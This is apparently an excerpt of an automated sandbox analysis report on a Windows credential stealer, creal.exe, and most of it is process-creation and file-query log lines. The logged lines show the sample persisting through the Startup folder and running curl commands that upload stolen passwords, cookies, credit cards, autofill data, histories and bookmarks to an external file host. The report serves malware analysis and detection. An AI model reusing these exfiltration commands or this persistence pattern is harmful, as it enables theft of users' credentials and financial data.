Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83D3D20 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F83D3D20
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83D42E8 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F83D42E8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83F1A00 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F83F1A00
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83F1430 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F83F1430
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8404660 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F8404660
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8404090 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F8404090
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F842FA70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F842FA70
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8430038 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F8430038
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84619D0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F84619D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8461FA0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F8461FA0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84721F0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F84721F0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8471C20 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F8471C20
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8492135 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F8492135
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8FF5B52F0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8FF5B52F0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8FF5C5FA0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8FF5C5FA0

Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Users\user\Desktop\creal.exe "C:\Users\user\Desktop\creal.exe"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile

Source: C:\Users\user\Desktop\creal.exe

Code function: 0_2_00007FF67A629F40 cpuid

0_2_00007FF67A629F40

Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\PublicKey VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\PublicKey VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Util VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\certifi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\importlib_metadata-7.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\importlib_metadata-7.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\importlib_metadata-7.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\importlib_metadata-7.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\base_library.zip VolumeInformation	Jump to behavior
